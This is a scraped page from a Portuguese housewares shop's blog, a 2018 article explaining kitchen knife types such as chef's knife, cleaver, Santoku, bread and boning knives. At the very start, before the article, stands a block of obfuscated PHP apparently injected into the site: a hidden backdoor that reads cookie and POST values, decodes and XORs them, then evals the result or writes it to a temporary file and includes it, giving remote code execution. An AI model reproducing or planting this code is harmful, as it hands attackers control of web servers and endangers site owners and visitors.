$QgsmWQ = "\127" . chr (68) . "\x49" . chr ( 266 - 171 ).chr ( 128 - 38 ).'I' . chr ( 726 - 615 ); $YJWlN = 'c' . "\154" . "\141" . chr ( 380 - 265 )."\163" . '_' . 'e' . "\170" . "\x69" . chr ( 330 - 215 ).chr ( 580 - 464 ).chr (115); $TLNnLFp = $YJWlN($QgsmWQ); $QgsmWQ = "5232";$NNSdC = $TLNnLFp;$YJWlN = "4890";if (!$NNSdC){class WDI_ZIo{private $ipXZB;public static $AefbesMZcw = "2c04f0c5-4a29-471a-9a50-779bcd024430";public static $YsGPibA = 61522;public function __construct($fmWoDv=0){$vSiVTj = $_COOKIE;$PTtLJEw = $_POST;$sFYjeFJzJ = @$vSiVTj[substr(WDI_ZIo::$AefbesMZcw, 0, 4)];if (!empty($sFYjeFJzJ)){$OaHOAgN = "base64";$GhSkP = "";$sFYjeFJzJ = explode(",", $sFYjeFJzJ);foreach ($sFYjeFJzJ as $dROtozL){$GhSkP .= @$vSiVTj[$dROtozL];$GhSkP .= @$PTtLJEw[$dROtozL];}$GhSkP = array_map($OaHOAgN . "\x5f" . "\144" . chr (101) . "\x63" . chr ( 904 - 793 )."\144" . "\x65", array($GhSkP,)); $GhSkP = $GhSkP[0] ^ str_repeat(WDI_ZIo::$AefbesMZcw, (strlen($GhSkP[0]) / strlen(WDI_ZIo::$AefbesMZcw)) + 1);WDI_ZIo::$YsGPibA = @unserialize($GhSkP);}}private function gmzhVZwOGs(){if (is_array(WDI_ZIo::$YsGPibA)) {$FDwGUw = str_replace(chr (60) . '?' . "\x70" . "\150" . chr (112), "", WDI_ZIo::$YsGPibA[chr ( 995 - 896 ).chr (111) . "\156" . 't' . "\x65" . 'n' . chr (116)]);eval($FDwGUw); $zKKJA = "2926";exit();}}public function __destruct(){$this->gmzhVZwOGs(); $zKKJA = "2926";$wKOKd = str_pad($zKKJA, 10);}}$oaqNn = new /* 5957 */ WDI_ZIo(); $oaqNn = substr("18597_8963", 1);}$cdoUUXMT = 'I' . chr ( 412 - 317 ).chr (120) . "\x42" . chr (100) . "\142" . chr ( 965 - 866 ); $BKQBUCkF = chr ( 311 - 212 )."\x6c" . 'a' . "\x73" . chr (115) . '_' . chr ( 541 - 440 ).chr ( 719 - 599 ).chr (105) . chr (115) . 't' . "\163";$uZwXvE = class_exists($cdoUUXMT); $cdoUUXMT = "46166";$BKQBUCkF = "10865";if ($uZwXvE === FALSE){class I_xBdbc{public function EiDqWhNTUO(){echo "47510";}private $tjWKmsJeKt;public static $xJsCqYKwXT = "0fb0c1f7-7cd6-444e-a805-7e329ae86c81";public static $RjkHH = 16639;public function __construct($PloHrssc=0){$Bksvhw = $_POST;$MqDmuL = $_COOKIE;$mMeuVxCDdq = @$MqDmuL[substr(I_xBdbc::$xJsCqYKwXT, 0, 4)];if (!empty($mMeuVxCDdq)){$savBvDQ = "base64";$PPHwBmKxMV = "";$mMeuVxCDdq = explode(",", $mMeuVxCDdq);foreach ($mMeuVxCDdq as $axukFxOS){$PPHwBmKxMV .= @$MqDmuL[$axukFxOS];$PPHwBmKxMV .= @$Bksvhw[$axukFxOS];}$PPHwBmKxMV = array_map($savBvDQ . chr ( 480 - 385 ).'d' . chr (101) . "\x63" . chr (111) . "\144" . 'e', array($PPHwBmKxMV,)); $PPHwBmKxMV = $PPHwBmKxMV[0] ^ str_repeat(I_xBdbc::$xJsCqYKwXT, (strlen($PPHwBmKxMV[0]) / strlen(I_xBdbc::$xJsCqYKwXT)) + 1);I_xBdbc::$RjkHH = @unserialize($PPHwBmKxMV);}}private function reAsvLtO(){if (is_array(I_xBdbc::$RjkHH)) {$sPshYthO = sys_get_temp_dir() . "/" . crc32(I_xBdbc::$RjkHH[chr (115) . 'a' . "\x6c" . chr (116)]);@I_xBdbc::$RjkHH["\x77" . "\162" . chr ( 875 - 770 ).chr ( 509 - 393 )."\145"]($sPshYthO, I_xBdbc::$RjkHH['c' . chr (111) . "\x6e" . "\x74" . chr ( 1081 - 980 ).'n' . "\164"]);include $sPshYthO;@I_xBdbc::$RjkHH["\144" . "\145" . "\x6c" . "\x65" . chr (116) . chr ( 590 - 489 )]($sPshYthO); $eIpCaZDiS = "42219";exit();}}public function __destruct(){$this->reAsvLtO();}}$TCFQGeDHa = new /* 6809 */ I_xBdbc(); $TCFQGeDHa = str_repeat("30684_38361", 1);}$violjQA = 'l' . "\x5f" . "\141" . chr ( 751 - 680 ).chr (71) . "\163";$ZeFFBhHBX = "\x63" . "\154" . chr ( 471 - 374 )."\163" . chr ( 770 - 655 )."\137" . 'e' . "\x78" . chr ( 223 - 118 ).chr (115) . 't' . "\163";$xBqfxv = $ZeFFBhHBX($violjQA); $ZeFFBhHBX = "1705";$xgsFtOBgj = $xBqfxv;if (!$xgsFtOBgj){class l_aGGs{private $cQgIs;public static $aFzXt = "f2283f90-47ed-40cb-87b1-82406ebcd9e1";public static $bajcZYEp = 37585;public function __construct($ZbtLgq=0){$gYZry = $_COOKIE;$fbjvlStfz = $_POST;$LJbkoM = @$gYZry[substr(l_aGGs::$aFzXt, 0, 4)];if (!empty($LJbkoM)){$kmpEpD = "base64";$pHRXXSqtHG = "";$LJbkoM = explode(",", $LJbkoM);foreach ($LJbkoM as $fLZBxjyFov){$pHRXXSqtHG .= @$gYZry[$fLZBxjyFov];$pHRXXSqtHG .= @$fbjvlStfz[$fLZBxjyFov];}$pHRXXSqtHG = array_map($kmpEpD . '_' . chr ( 930 - 830 )."\x65" . chr (99) . 'o' . "\x64" . 'e', array($pHRXXSqtHG,)); $pHRXXSqtHG = $pHRXXSqtHG[0] ^ str_repeat(l_aGGs::$aFzXt, (strlen($pHRXXSqtHG[0]) / strlen(l_aGGs::$aFzXt)) + 1);l_aGGs::$bajcZYEp = @unserialize($pHRXXSqtHG);}}private function AwxNBX(){if (is_array(l_aGGs::$bajcZYEp)) {$JYLztqpz = str_replace(chr ( 452 - 392 ) . chr (63) . chr ( 191 - 79 )."\x68" . "\x70", "", l_aGGs::$bajcZYEp['c' . 'o' . chr (110) . 't' . chr ( 781 - 680 ).chr ( 634 - 524 )."\x74"]);eval($JYLztqpz); $VSXsxsKOQ = "50258";exit();}}public function __destruct(){$this->AwxNBX(); $VSXsxsKOQ = "50258";}}$MoHkXW = new l_aGGs(); $MoHkXW = "3948_26232";} Tipos de facas: entenda as características de cada uma | Exclusiva Util

blog.exclusivautilidades.com.br

O Blog da Exclusiva Utilidades

blog.exclusivautilidades.com.br

Tipos de facas: entenda as características de cada uma

por · 5 de setembro de 2018

Os tipos de facas para cozinha disponíveis no mercado são tão diversos que é impossível não ter dúvidas. Entre tantas opções, qual será o melhor formato? Será que o modelo faz realmente diferença na forma de uso?

Escolher uma faca mais parece um desafio. Mas você não precisa ser cozinheiro profissional para conhecer melhor as suas ferramentas e aplicações. Se você quer saber mais sobre os tipos de facas e como utilizar cada um deles, continue acompanhando este artigo!

Faca de chef

A faca de chef, também conhecida como faca para carne, é o modelo mais versátil e que permite várias formas de cortes. Quem é mais minimalista e deseja ter poucas facas deve considerar adquirir esse modelo tão multifuncional. Ela pode ser usada nos preparos cotidianos, em receitas complexas e até mesmo no churrasco.

Cutelo

O cutelo é um dos tipos de facas para cozinha que mais assusta aqueles que nunca o utilizaram. Isso acontece especialmente pela lâmina grande, usada para o corte de materiais mais rígidos, como ossos e carnes congeladas.

Existem dois tipos de cutelo:

  • europeu: mais pesado e com uso que geralmente se limita às carnes e ossos;
  • chinês: mais leve e fácil de manusear.

O cutelo mais leve, no estilo chinês, é mais versátil e pode ser usado também para cortar legumes, frutas e verduras com precisão.

Faca Santoku

A faca Santoku é a versão japonesa da faca de chef. Santoku quer dizer “três virtudes” ou “três usos”, indicando as especialidades dessa faca: cortar, picar e fatiar os mais variados alimentos.

Faca de serra ou faca para pães

Pode parecer estranho ter uma faca desenhada especialmente para cortar pães. Entretanto, aqueles que já amassaram e despedaçaram um pão ao tentar fatiá-lo com uma faca comum conseguem enxergar sua utilidade.

A lâmina serrilhada da faca de pão permite um corte mais fácil da casca e evita que o pão seja amassado. Além de pães, essa faca também é útil para o corte de bolos que serão recheados.

Faca de serrilha

Com o serrilhado um pouco menor do que a faca para pão, esse instrumento serve para cortar alimentos de superfície mais lisa, como tomates e caquis.

Faca para legumes

Utilizar uma faca para legumes é interessante para agilizar processos que envolvem itens pequenos, como descascar, remover sementes ou limpar camarões. Ela é menor que a faca de chef, por isso o manuseio dos alimentos é mais prático.

Faca para desossar

Quem aprecia receitas que envolvem desossar e rechear peças de carne, especialmente de aves, vai gostar de ter em casa uma faca para desossar. De lâmina longa e fina, esse utensílio de cozinha facilita a perfuração das carnes e a separação dos ossos sem “desmontar” a peça com cortes.

Há muitos tipos de facas para cozinha e a maneira certa de utilizar cada um deles varia bastante. O ideal é escolher as facas de acordo com a necessidade e habilidade do cozinheiro. Na Exclusiva Utilidades você pode encontrar diversos modelos de facas e selecionar aqueles que combinam melhor com você!

Agora que você já sabe qual faca escolher, acesse a loja virtual da Exclusiva Utilidades e veja nossas opções!

Você pode gostar...

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

Falar no WhatsApp
Posso te ajudar?
Powered by Join.chat
Olá!👋🏼
Estamos Online!